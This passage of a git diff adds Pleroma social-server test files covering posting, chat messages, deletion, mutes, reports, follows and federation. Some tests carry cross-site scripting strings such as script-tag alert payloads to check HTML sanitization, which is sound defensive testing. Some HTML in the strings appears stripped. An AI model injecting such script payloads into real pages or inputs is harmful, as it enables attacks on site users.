uguuu" + end + + test "it linkifies" do + author = insert(:user) + recipient = insert(:user) + + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post_chat_message( + author, + recipient, + "https://example.org is the site of @#{other_user.nickname} #2hu" + ) + + assert other_user.ap_id not in activity.recipients + + object = Object.normalize(activity, false) + + assert object.data["content"] == + "https://example.org is the site of @#{other_user.nickname} #2hu" + end + + test "it posts a chat message" do + author = insert(:user) + recipient = insert(:user) + + {:ok, activity} = + CommonAPI.post_chat_message( + author, + recipient, + "a test message :firefox:" + ) + + assert activity.data["type"] == "Create" + assert activity.local + object = Object.normalize(activity) + + assert object.data["type"] == "ChatMessage" + assert object.data["to"] == [recipient.ap_id] + + assert object.data["content"] == + "a test message <script>alert('uuu')</script> :firefox:" + + assert object.data["emoji"] == %{ + "firefox" => "http://localhost:4001/emoji/Firefox.gif" + } + + assert Chat.get(author.id, recipient.ap_id) + assert Chat.get(recipient.id, author.ap_id) + + assert :ok == Pleroma.Web.Federator.perform(:publish, activity) + end + + test "it reject messages over the local limit" do + Pleroma.Config.put([:instance, :chat_limit], 2) + + author = insert(:user) + recipient = insert(:user) + + {:error, message} = + CommonAPI.post_chat_message( + author, + recipient, + "123" + ) + + assert message == :content_too_long + end + + test "it reject messages via MRF" do + clear_config([:mrf_keyword, :reject], ["GNO"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + author = insert(:user) + recipient = insert(:user) + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + CommonAPI.post_chat_message(author, recipient, "GNO/Linux") + end + end + + describe "unblocking" do + test "it works even without an existing block activity" do + blocked = insert(:user) + blocker = insert(:user) + User.block(blocker, blocked) + + assert User.blocks?(blocker, blocked) + assert {:ok, :no_activity} == CommonAPI.unblock(blocker, blocked) + refute User.blocks?(blocker, blocked) + end + end + + describe "deletion" do + test "it works with pruned objects" do + user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) + + clear_config([:instance, :federating], true) + + Object.normalize(post, false) + |> Object.prune() + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + assert {:ok, delete} = CommonAPI.delete(post.id, user) + assert delete.local + assert called(Pleroma.Web.Federator.publish(delete)) + end + + refute Activity.get_by_id(post.id) + end + + test "it allows users to delete their posts" do + user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) + + clear_config([:instance, :federating], true) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + assert {:ok, delete} = CommonAPI.delete(post.id, user) + assert delete.local + assert called(Pleroma.Web.Federator.publish(delete)) + end + + refute Activity.get_by_id(post.id) + end + + test "it does not allow a user to delete their posts" do + user = insert(:user) + other_user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) + + assert {:error, "Could not delete"} = CommonAPI.delete(post.id, other_user) + assert Activity.get_by_id(post.id) + end + + test "it allows moderators to delete other user's posts" do + user = insert(:user) + moderator = insert(:user, is_moderator: true) + + {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) + + assert {:ok, delete} = CommonAPI.delete(post.id, moderator) + assert delete.local + + refute Activity.get_by_id(post.id) + end + + test "it allows admins to delete other user's posts" do + user = insert(:user) + moderator = insert(:user, is_admin: true) + + {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) + + assert {:ok, delete} = CommonAPI.delete(post.id, moderator) + assert delete.local + + refute Activity.get_by_id(post.id) + end + + test "superusers deleting non-local posts won't federate the delete" do + # This is the user of the ingested activity + _user = + insert(:user, + local: false, + ap_id: "http://mastodon.example.org/users/admin", + last_refreshed_at: NaiveDateTime.utc_now() + ) + + moderator = insert(:user, is_admin: true) + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Jason.decode!() + + {:ok, post} = Transmogrifier.handle_incoming(data) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + assert {:ok, delete} = CommonAPI.delete(post.id, moderator) + assert delete.local + refute called(Pleroma.Web.Federator.publish(:_)) + end + + refute Activity.get_by_id(post.id) + end + end + + test "favoriting race condition" do + user = insert(:user) + users_serial = insert_list(10, :user) + users = insert_list(10, :user) + + {:ok, activity} = CommonAPI.post(user, %{status: "."}) + + users_serial + |> Enum.map(fn user -> + CommonAPI.favorite(user, activity.id) + end) + + object = Object.get_by_ap_id(activity.data["object"]) + assert object.data["like_count"] == 10 + + users + |> Enum.map(fn user -> + Task.async(fn -> + CommonAPI.favorite(user, activity.id) + end) + end) + |> Enum.map(&Task.await/1) + + object = Object.get_by_ap_id(activity.data["object"]) + assert object.data["like_count"] == 20 + end + + test "repeating race condition" do + user = insert(:user) + users_serial = insert_list(10, :user) + users = insert_list(10, :user) + + {:ok, activity} = CommonAPI.post(user, %{status: "."}) + + users_serial + |> Enum.map(fn user -> + CommonAPI.repeat(activity.id, user) + end) + + object = Object.get_by_ap_id(activity.data["object"]) + assert object.data["announcement_count"] == 10 + + users + |> Enum.map(fn user -> + Task.async(fn -> + CommonAPI.repeat(activity.id, user) + end) + end) + |> Enum.map(&Task.await/1) + + object = Object.get_by_ap_id(activity.data["object"]) + assert object.data["announcement_count"] == 20 + end + + test "when replying to a conversation / participation, it will set the correct context id even if no explicit reply_to is given" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + [participation] = Participation.for_user(user) + + {:ok, convo_reply} = + CommonAPI.post(user, %{status: ".", in_reply_to_conversation_id: participation.id}) + + assert Visibility.is_direct?(convo_reply) + + assert activity.data["context"] == convo_reply.data["context"] + end + + test "when replying to a conversation / participation, it only mentions the recipients explicitly declared in the participation" do + har = insert(:user) + jafnhar = insert(:user) + tridi = insert(:user) + + {:ok, activity} = + CommonAPI.post(har, %{ + status: "@#{jafnhar.nickname} hey", + visibility: "direct" + }) + + assert har.ap_id in activity.recipients + assert jafnhar.ap_id in activity.recipients + + [participation] = Participation.for_user(har) + + {:ok, activity} = + CommonAPI.post(har, %{ + status: "I don't really like @#{tridi.nickname}", + visibility: "direct", + in_reply_to_status_id: activity.id, + in_reply_to_conversation_id: participation.id + }) + + assert har.ap_id in activity.recipients + assert jafnhar.ap_id in activity.recipients + refute tridi.ap_id in activity.recipients + end + + test "with the safe_dm_mention option set, it does not mention people beyond the initial tags" do + har = insert(:user) + jafnhar = insert(:user) + tridi = insert(:user) + + Pleroma.Config.put([:instance, :safe_dm_mentions], true) + + {:ok, activity} = + CommonAPI.post(har, %{ + status: "@#{jafnhar.nickname} hey, i never want to see @#{tridi.nickname} again", + visibility: "direct" + }) + + refute tridi.ap_id in activity.recipients + assert jafnhar.ap_id in activity.recipients + end + + test "it de-duplicates tags" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "#2hu #2HU"}) + + object = Object.normalize(activity) + + assert object.data["tag"] == ["2hu"] + end + + test "it adds emoji in the object" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: ":firefox:"}) + + assert Object.normalize(activity).data["emoji"]["firefox"] + end + + describe "posting" do + test "deactivated users can't post" do + user = insert(:user, deactivated: true) + assert {:error, _} = CommonAPI.post(user, %{status: "ye"}) + end + + test "it supports explicit addressing" do + user = insert(:user) + user_two = insert(:user) + user_three = insert(:user) + user_four = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "Hey, I think @#{user_three.nickname} is ugly. @#{user_four.nickname} is alright though.", + to: [user_two.nickname, user_four.nickname, "nonexistent"] + }) + + assert user.ap_id in activity.recipients + assert user_two.ap_id in activity.recipients + assert user_four.ap_id in activity.recipients + refute user_three.ap_id in activity.recipients + end + + test "it filters out obviously bad tags when accepting a post as HTML" do + user = insert(:user) + + post = "

2hu

" + + {:ok, activity} = + CommonAPI.post(user, %{ + status: post, + content_type: "text/html" + }) + + object = Object.normalize(activity) + + assert object.data["content"] == "

2hu

alert('xss')" + assert object.data["source"] == post + end + + test "it filters out obviously bad tags when accepting a post as Markdown" do + user = insert(:user) + + post = "

2hu

" + + {:ok, activity} = + CommonAPI.post(user, %{ + status: post, + content_type: "text/markdown" + }) + + object = Object.normalize(activity) + + assert object.data["content"] == "

2hu

alert('xss')" + assert object.data["source"] == post + end + + test "it does not allow replies to direct messages that are not direct messages themselves" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "suya..", visibility: "direct"}) + + assert {:ok, _} = + CommonAPI.post(user, %{ + status: "suya..", + visibility: "direct", + in_reply_to_status_id: activity.id + }) + + Enum.each(["public", "private", "unlisted"], fn visibility -> + assert {:error, "The message visibility must be direct"} = + CommonAPI.post(user, %{ + status: "suya..", + visibility: visibility, + in_reply_to_status_id: activity.id + }) + end) + end + + test "replying with a direct message will NOT auto-add the author of the reply to the recipient list" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "I'm stupid"}) + + {:ok, open_answer} = + CommonAPI.post(other_user, %{status: "No ur smart", in_reply_to_status_id: post.id}) + + # The OP is implicitly added + assert user.ap_id in open_answer.recipients + + {:ok, secret_answer} = + CommonAPI.post(other_user, %{ + status: "lol, that guy really is stupid, right, @#{third_user.nickname}?", + in_reply_to_status_id: post.id, + visibility: "direct" + }) + + assert third_user.ap_id in secret_answer.recipients + + # The OP is not added + refute user.ap_id in secret_answer.recipients + end + + test "it allows to address a list" do + user = insert(:user) + {:ok, list} = Pleroma.List.create("foo", user) + + {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) + + assert activity.data["bcc"] == [list.ap_id] + assert activity.recipients == [list.ap_id, user.ap_id] + assert activity.data["listMessage"] == list.ap_id + end + + test "it returns error when status is empty and no attachments" do + user = insert(:user) + + assert {:error, "Cannot post an empty status without attachments"} = + CommonAPI.post(user, %{status: ""}) + end + + test "it validates character limits are correctly enforced" do + Pleroma.Config.put([:instance, :limit], 5) + + user = insert(:user) + + assert {:error, "The status is over the character limit"} = + CommonAPI.post(user, %{status: "foobar"}) + + assert {:ok, activity} = CommonAPI.post(user, %{status: "12345"}) + end + + test "it can handle activities that expire" do + user = insert(:user) + + expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) + + assert {:ok, activity} = CommonAPI.post(user, %{status: "chai", expires_in: 1_000_000}) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id}, + scheduled_at: expires_at + ) + end + end + + describe "reactions" do + test "reacting to a status with an emoji" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:ok, reaction} = CommonAPI.react_with_emoji(activity.id, user, "👍") + + assert reaction.data["actor"] == user.ap_id + assert reaction.data["content"] == "👍" + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:error, _} = CommonAPI.react_with_emoji(activity.id, user, ".") + end + + test "unreacting to a status with an emoji" do + user = insert(:user) + other_user = insert(:user) + + clear_config([:instance, :federating], true) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + {:ok, reaction} = CommonAPI.react_with_emoji(activity.id, user, "👍") + + {:ok, unreaction} = CommonAPI.unreact_with_emoji(activity.id, user, "👍") + + assert unreaction.data["type"] == "Undo" + assert unreaction.data["object"] == reaction.data["id"] + assert unreaction.local + + # On federation, it contains the undone (and deleted) object + unreaction_with_object = %{ + unreaction + | data: Map.put(unreaction.data, "object", reaction.data) + } + + assert called(Pleroma.Web.Federator.publish(unreaction_with_object)) + end + end + + test "repeating a status" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:ok, %Activity{} = announce_activity} = CommonAPI.repeat(activity.id, user) + assert Visibility.is_public?(announce_activity) + end + + test "can't repeat a repeat" do + user = insert(:user) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:ok, %Activity{} = announce} = CommonAPI.repeat(activity.id, other_user) + + refute match?({:ok, %Activity{}}, CommonAPI.repeat(announce.id, user)) + end + + test "repeating a status privately" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:ok, %Activity{} = announce_activity} = + CommonAPI.repeat(activity.id, user, %{visibility: "private"}) + + assert Visibility.is_private?(announce_activity) + refute Visibility.visible_for_user?(announce_activity, nil) + end + + test "favoriting a status" do + user = insert(:user) + other_user = insert(:user) + + {:ok, post_activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:ok, %Activity{data: data}} = CommonAPI.favorite(user, post_activity.id) + assert data["type"] == "Like" + assert data["actor"] == user.ap_id + assert data["object"] == post_activity.data["object"] + end + + test "retweeting a status twice returns the status" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + {:ok, %Activity{} = announce} = CommonAPI.repeat(activity.id, user) + {:ok, ^announce} = CommonAPI.repeat(activity.id, user) + end + + test "favoriting a status twice returns ok, but without the like activity" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + {:ok, %Activity{}} = CommonAPI.favorite(user, activity.id) + assert {:ok, :already_liked} = CommonAPI.favorite(user, activity.id) + end + end + + describe "pinned statuses" do + setup do + Pleroma.Config.put([:instance, :max_pinned_statuses], 1) + + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) + + [user: user, activity: activity] + end + + test "pin status", %{user: user, activity: activity} do + assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) + + id = activity.id + user = refresh_record(user) + + assert %User{pinned_activities: [^id]} = user + end + + test "pin poll", %{user: user} do + {:ok, activity} = + CommonAPI.post(user, %{ + status: "How is fediverse today?", + poll: %{options: ["Absolutely outstanding", "Not good"], expires_in: 20} + }) + + assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) + + id = activity.id + user = refresh_record(user) + + assert %User{pinned_activities: [^id]} = user + end + + test "unlisted statuses can be pinned", %{user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!", visibility: "unlisted"}) + assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) + end + + test "only self-authored can be pinned", %{activity: activity} do + user = insert(:user) + + assert {:error, "Could not pin"} = CommonAPI.pin(activity.id, user) + end + + test "max pinned statuses", %{user: user, activity: activity_one} do + {:ok, activity_two} = CommonAPI.post(user, %{status: "HI!!!"}) + + assert {:ok, ^activity_one} = CommonAPI.pin(activity_one.id, user) + + user = refresh_record(user) + + assert {:error, "You have already pinned the maximum number of statuses"} = + CommonAPI.pin(activity_two.id, user) + end + + test "unpin status", %{user: user, activity: activity} do + {:ok, activity} = CommonAPI.pin(activity.id, user) + + user = refresh_record(user) + + id = activity.id + + assert match?({:ok, %{id: ^id}}, CommonAPI.unpin(activity.id, user)) + + user = refresh_record(user) + + assert %User{pinned_activities: []} = user + end + + test "should unpin when deleting a status", %{user: user, activity: activity} do + {:ok, activity} = CommonAPI.pin(activity.id, user) + + user = refresh_record(user) + + assert {:ok, _} = CommonAPI.delete(activity.id, user) + + user = refresh_record(user) + + assert %User{pinned_activities: []} = user + end + end + + describe "mute tests" do + setup do + user = insert(:user) + + activity = insert(:note_activity) + + [user: user, activity: activity] + end + + test "marks notifications as read after mute" do + author = insert(:user) + activity = insert(:note_activity, user: author) + + friend1 = insert(:user) + friend2 = insert(:user) + + {:ok, reply_activity} = + CommonAPI.post( + friend2, + %{ + status: "@#{author.nickname} @#{friend1.nickname} test reply", + in_reply_to_status_id: activity.id + } + ) + + {:ok, favorite_activity} = CommonAPI.favorite(friend2, activity.id) + {:ok, repeat_activity} = CommonAPI.repeat(activity.id, friend1) + + assert Repo.aggregate( + from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), + :count + ) == 1 + + unread_notifications = + Repo.all(from(n in Notification, where: n.seen == false, where: n.user_id == ^author.id)) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "favourite" && n.activity_id == favorite_activity.id + end) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "reblog" && n.activity_id == repeat_activity.id + end) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "mention" && n.activity_id == reply_activity.id + end) + + {:ok, _} = CommonAPI.add_mute(author, activity) + assert CommonAPI.thread_muted?(author, activity) + + assert Repo.aggregate( + from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), + :count + ) == 1 + + read_notifications = + Repo.all(from(n in Notification, where: n.seen == true, where: n.user_id == ^author.id)) + + assert Enum.any?(read_notifications, fn n -> + n.type == "favourite" && n.activity_id == favorite_activity.id + end) + + assert Enum.any?(read_notifications, fn n -> + n.type == "reblog" && n.activity_id == repeat_activity.id + end) + + assert Enum.any?(read_notifications, fn n -> + n.type == "mention" && n.activity_id == reply_activity.id + end) + end + + test "add mute", %{user: user, activity: activity} do + {:ok, _} = CommonAPI.add_mute(user, activity) + assert CommonAPI.thread_muted?(user, activity) + end + + test "remove mute", %{user: user, activity: activity} do + CommonAPI.add_mute(user, activity) + {:ok, _} = CommonAPI.remove_mute(user, activity) + refute CommonAPI.thread_muted?(user, activity) + end + + test "check that mutes can't be duplicate", %{user: user, activity: activity} do + CommonAPI.add_mute(user, activity) + {:error, _} = CommonAPI.add_mute(user, activity) + end + end + + describe "reports" do + test "creates a report" do + reporter = insert(:user) + target_user = insert(:user) + + {:ok, activity} = CommonAPI.post(target_user, %{status: "foobar"}) + + reporter_ap_id = reporter.ap_id + target_ap_id = target_user.ap_id + activity_ap_id = activity.data["id"] + comment = "foobar" + + report_data = %{ + account_id: target_user.id, + comment: comment, + status_ids: [activity.id] + } + + note_obj = %{ + "type" => "Note", + "id" => activity_ap_id, + "content" => "foobar", + "published" => activity.object.data["published"], + "actor" => AccountView.render("show.json", %{user: target_user}) + } + + assert {:ok, flag_activity} = CommonAPI.report(reporter, report_data) + + assert %Activity{ + actor: ^reporter_ap_id, + data: %{ + "type" => "Flag", + "content" => ^comment, + "object" => [^target_ap_id, ^note_obj], + "state" => "open" + } + } = flag_activity + end + + test "updates report state" do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %Activity{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + {:ok, report} = CommonAPI.update_report_state(report_id, "resolved") + + assert report.data["state"] == "resolved" + + [reported_user, activity_id] = report.data["object"] + + assert reported_user == target_user.ap_id + assert activity_id == activity.data["id"] + end + + test "does not update report state when state is unsupported" do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %Activity{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + assert CommonAPI.update_report_state(report_id, "test") == {:error, "Unsupported state"} + end + + test "updates state of multiple reports" do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %Activity{id: first_report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + {:ok, %Activity{id: second_report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel very offended!", + status_ids: [activity.id] + }) + + {:ok, report_ids} = + CommonAPI.update_report_state([first_report_id, second_report_id], "resolved") + + first_report = Activity.get_by_id(first_report_id) + second_report = Activity.get_by_id(second_report_id) + + assert report_ids -- [first_report_id, second_report_id] == [] + assert first_report.data["state"] == "resolved" + assert second_report.data["state"] == "resolved" + end + end + + describe "reblog muting" do + setup do + muter = insert(:user) + + muted = insert(:user) + + [muter: muter, muted: muted] + end + + test "add a reblog mute", %{muter: muter, muted: muted} do + {:ok, _reblog_mute} = CommonAPI.hide_reblogs(muter, muted) + + assert User.showing_reblogs?(muter, muted) == false + end + + test "remove a reblog mute", %{muter: muter, muted: muted} do + {:ok, _reblog_mute} = CommonAPI.hide_reblogs(muter, muted) + {:ok, _reblog_mute} = CommonAPI.show_reblogs(muter, muted) + + assert User.showing_reblogs?(muter, muted) == true + end + end + + describe "follow/2" do + test "directly follows a non-locked local user" do + [follower, followed] = insert_pair(:user) + {:ok, follower, followed, _} = CommonAPI.follow(follower, followed) + + assert User.following?(follower, followed) + end + end + + describe "unfollow/2" do + test "also unsubscribes a user" do + [follower, followed] = insert_pair(:user) + {:ok, follower, followed, _} = CommonAPI.follow(follower, followed) + {:ok, _subscription} = User.subscribe(follower, followed) + + assert User.subscribed_to?(follower, followed) + + {:ok, follower} = CommonAPI.unfollow(follower, followed) + + refute User.subscribed_to?(follower, followed) + end + + test "cancels a pending follow for a local user" do + follower = insert(:user) + followed = insert(:user, locked: true) + + assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = + CommonAPI.follow(follower, followed) + + assert User.get_follow_state(follower, followed) == :follow_pending + assert {:ok, follower} = CommonAPI.unfollow(follower, followed) + assert User.get_follow_state(follower, followed) == nil + + assert %{id: ^activity_id, data: %{"state" => "cancelled"}} = + Pleroma.Web.ActivityPub.Utils.fetch_latest_follow(follower, followed) + + assert %{ + data: %{ + "type" => "Undo", + "object" => %{"type" => "Follow", "state" => "cancelled"} + } + } = Pleroma.Web.ActivityPub.Utils.fetch_latest_undo(follower) + end + + test "cancels a pending follow for a remote user" do + follower = insert(:user) + followed = insert(:user, locked: true, local: false, ap_enabled: true) + + assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = + CommonAPI.follow(follower, followed) + + assert User.get_follow_state(follower, followed) == :follow_pending + assert {:ok, follower} = CommonAPI.unfollow(follower, followed) + assert User.get_follow_state(follower, followed) == nil + + assert %{id: ^activity_id, data: %{"state" => "cancelled"}} = + Pleroma.Web.ActivityPub.Utils.fetch_latest_follow(follower, followed) + + assert %{ + data: %{ + "type" => "Undo", + "object" => %{"type" => "Follow", "state" => "cancelled"} + } + } = Pleroma.Web.ActivityPub.Utils.fetch_latest_undo(follower) + end + end + + describe "accept_follow_request/2" do + test "after acceptance, it sets all existing pending follow request states to 'accept'" do + user = insert(:user, locked: true) + follower = insert(:user) + follower_two = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_three} = CommonAPI.follow(follower_two, user) + + assert follow_activity.data["state"] == "pending" + assert follow_activity_two.data["state"] == "pending" + assert follow_activity_three.data["state"] == "pending" + + {:ok, _follower} = CommonAPI.accept_follow_request(follower, user) + + assert Repo.get(Activity, follow_activity.id).data["state"] == "accept" + assert Repo.get(Activity, follow_activity_two.id).data["state"] == "accept" + assert Repo.get(Activity, follow_activity_three.id).data["state"] == "pending" + end + + test "after rejection, it sets all existing pending follow request states to 'reject'" do + user = insert(:user, locked: true) + follower = insert(:user) + follower_two = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_three} = CommonAPI.follow(follower_two, user) + + assert follow_activity.data["state"] == "pending" + assert follow_activity_two.data["state"] == "pending" + assert follow_activity_three.data["state"] == "pending" + + {:ok, _follower} = CommonAPI.reject_follow_request(follower, user) + + assert Repo.get(Activity, follow_activity.id).data["state"] == "reject" + assert Repo.get(Activity, follow_activity_two.id).data["state"] == "reject" + assert Repo.get(Activity, follow_activity_three.id).data["state"] == "pending" + end + + test "doesn't create a following relationship if the corresponding follow request doesn't exist" do + user = insert(:user, locked: true) + not_follower = insert(:user) + CommonAPI.accept_follow_request(not_follower, user) + + assert Pleroma.FollowingRelationship.following?(not_follower, user) == false + end + end + + describe "vote/3" do + test "does not allow to vote twice" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Am I cute?", + poll: %{options: ["Yes", "No"], expires_in: 20} + }) + + object = Object.normalize(activity) + + {:ok, _, object} = CommonAPI.vote(other_user, object, [0]) + + assert {:error, "Already voted"} == CommonAPI.vote(other_user, object, [1]) + end + end + + describe "listen/2" do + test "returns a valid activity" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.listen(user, %{ + title: "lain radio episode 1", + album: "lain radio", + artist: "lain", + length: 180_000 + }) + + object = Object.normalize(activity) + + assert object.data["title"] == "lain radio episode 1" + + assert Visibility.get_visibility(activity) == "public" + end + + test "respects visibility=private" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.listen(user, %{ + title: "lain radio episode 1", + album: "lain radio", + artist: "lain", + length: 180_000, + visibility: "private" + }) + + object = Object.normalize(activity) + + assert object.data["title"] == "lain radio episode 1" + + assert Visibility.get_visibility(activity) == "private" + end + end + + describe "get_user/1" do + test "gets user by ap_id" do + user = insert(:user) + assert CommonAPI.get_user(user.ap_id) == user + end + + test "gets user by guessed nickname" do + user = insert(:user, ap_id: "", nickname: "mario@mushroom.kingdom") + assert CommonAPI.get_user("https://mushroom.kingdom/users/mario") == user + end + + test "fallback" do + assert %User{ + name: "", + ap_id: "", + nickname: "erroruser@example.com" + } = CommonAPI.get_user("") + end + end +end diff --git a/test/pleroma/web/fallback_test.exs b/test/pleroma/web/fallback_test.exs new file mode 100644 index 000000000..a65865860 --- /dev/null +++ b/test/pleroma/web/fallback_test.exs @@ -0,0 +1,80 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FallbackTest do + use Pleroma.Web.ConnCase + import Pleroma.Factory + + describe "neither preloaded data nor metadata attached to" do + test "GET /registration/:token", %{conn: conn} do + response = get(conn, "/registration/foo") + + assert html_response(response, 200) =~ "" + end + + test "GET /*path", %{conn: conn} do + assert conn + |> get("/foo") + |> html_response(200) =~ "" + end + end + + describe "preloaded data and metadata attached to" do + test "GET /:maybe_nickname_or_id", %{conn: conn} do + user = insert(:user) + user_missing = get(conn, "/foo") + user_present = get(conn, "/#{user.nickname}") + + assert(html_response(user_missing, 200) =~ "") + refute html_response(user_present, 200) =~ "" + assert html_response(user_present, 200) =~ "initial-results" + end + + test "GET /*path", %{conn: conn} do + assert conn + |> get("/foo") + |> html_response(200) =~ "" + + refute conn + |> get("/foo/bar") + |> html_response(200) =~ "" + end + end + + describe "preloaded data is attached to" do + test "GET /main/public", %{conn: conn} do + public_page = get(conn, "/main/public") + + refute html_response(public_page, 200) =~ "" + assert html_response(public_page, 200) =~ "initial-results" + end + + test "GET /main/all", %{conn: conn} do + public_page = get(conn, "/main/all") + + refute html_response(public_page, 200) =~ "" + assert html_response(public_page, 200) =~ "initial-results" + end + end + + test "GET /api*path", %{conn: conn} do + assert conn + |> get("/api/foo") + |> json_response(404) == %{"error" => "Not implemented"} + end + + test "GET /pleroma/admin -> /pleroma/admin/", %{conn: conn} do + assert redirected_to(get(conn, "/pleroma/admin")) =~ "/pleroma/admin/" + end + + test "OPTIONS /*path", %{conn: conn} do + assert conn + |> options("/foo") + |> response(204) == "" + + assert conn + |> options("/foo/bar") + |> response(204) == "" + end +end diff --git a/test/pleroma/web/federator_test.exs b/test/pleroma/web/federator_test.exs new file mode 100644 index 000000000..592fdccd1 --- /dev/null +++ b/test/pleroma/web/federator_test.exs @@ -0,0 +1,173 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FederatorTest do + alias Pleroma.Instances + alias Pleroma.Tests.ObanHelpers + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Federator + alias Pleroma.Workers.PublisherWorker + + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + import Mock + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + + :ok + end + + setup_all do: clear_config([:instance, :federating], true) + setup do: clear_config([:instance, :allow_relay]) + setup do: clear_config([:mrf, :policies]) + setup do: clear_config([:mrf_keyword]) + + describe "Publish an activity" do + setup do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) + + relay_mock = { + Pleroma.Web.ActivityPub.Relay, + [], + [publish: fn _activity -> send(self(), :relay_publish) end] + } + + %{activity: activity, relay_mock: relay_mock} + end + + test "with relays active, it publishes to the relay", %{ + activity: activity, + relay_mock: relay_mock + } do + with_mocks([relay_mock]) do + Federator.publish(activity) + ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) + end + + assert_received :relay_publish + end + + test "with relays deactivated, it does not publish to the relay", %{ + activity: activity, + relay_mock: relay_mock + } do + Pleroma.Config.put([:instance, :allow_relay], false) + + with_mocks([relay_mock]) do + Federator.publish(activity) + ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) + end + + refute_received :relay_publish + end + end + + describe "Targets reachability filtering in `publish`" do + test "it federates only to reachable instances via AP" do + user = insert(:user) + + {inbox1, inbox2} = + {"https://domain.com/users/nick1/inbox", "https://domain2.com/users/nick2/inbox"} + + insert(:user, %{ + local: false, + nickname: "nick1@domain.com", + ap_id: "https://domain.com/users/nick1", + inbox: inbox1, + ap_enabled: true + }) + + insert(:user, %{ + local: false, + nickname: "nick2@domain2.com", + ap_id: "https://domain2.com/users/nick2", + inbox: inbox2, + ap_enabled: true + }) + + dt = NaiveDateTime.utc_now() + Instances.set_unreachable(inbox1, dt) + + Instances.set_consistently_unreachable(URI.parse(inbox2).host) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "HI @nick1@domain.com, @nick2@domain2.com!"}) + + expected_dt = NaiveDateTime.to_iso8601(dt) + + 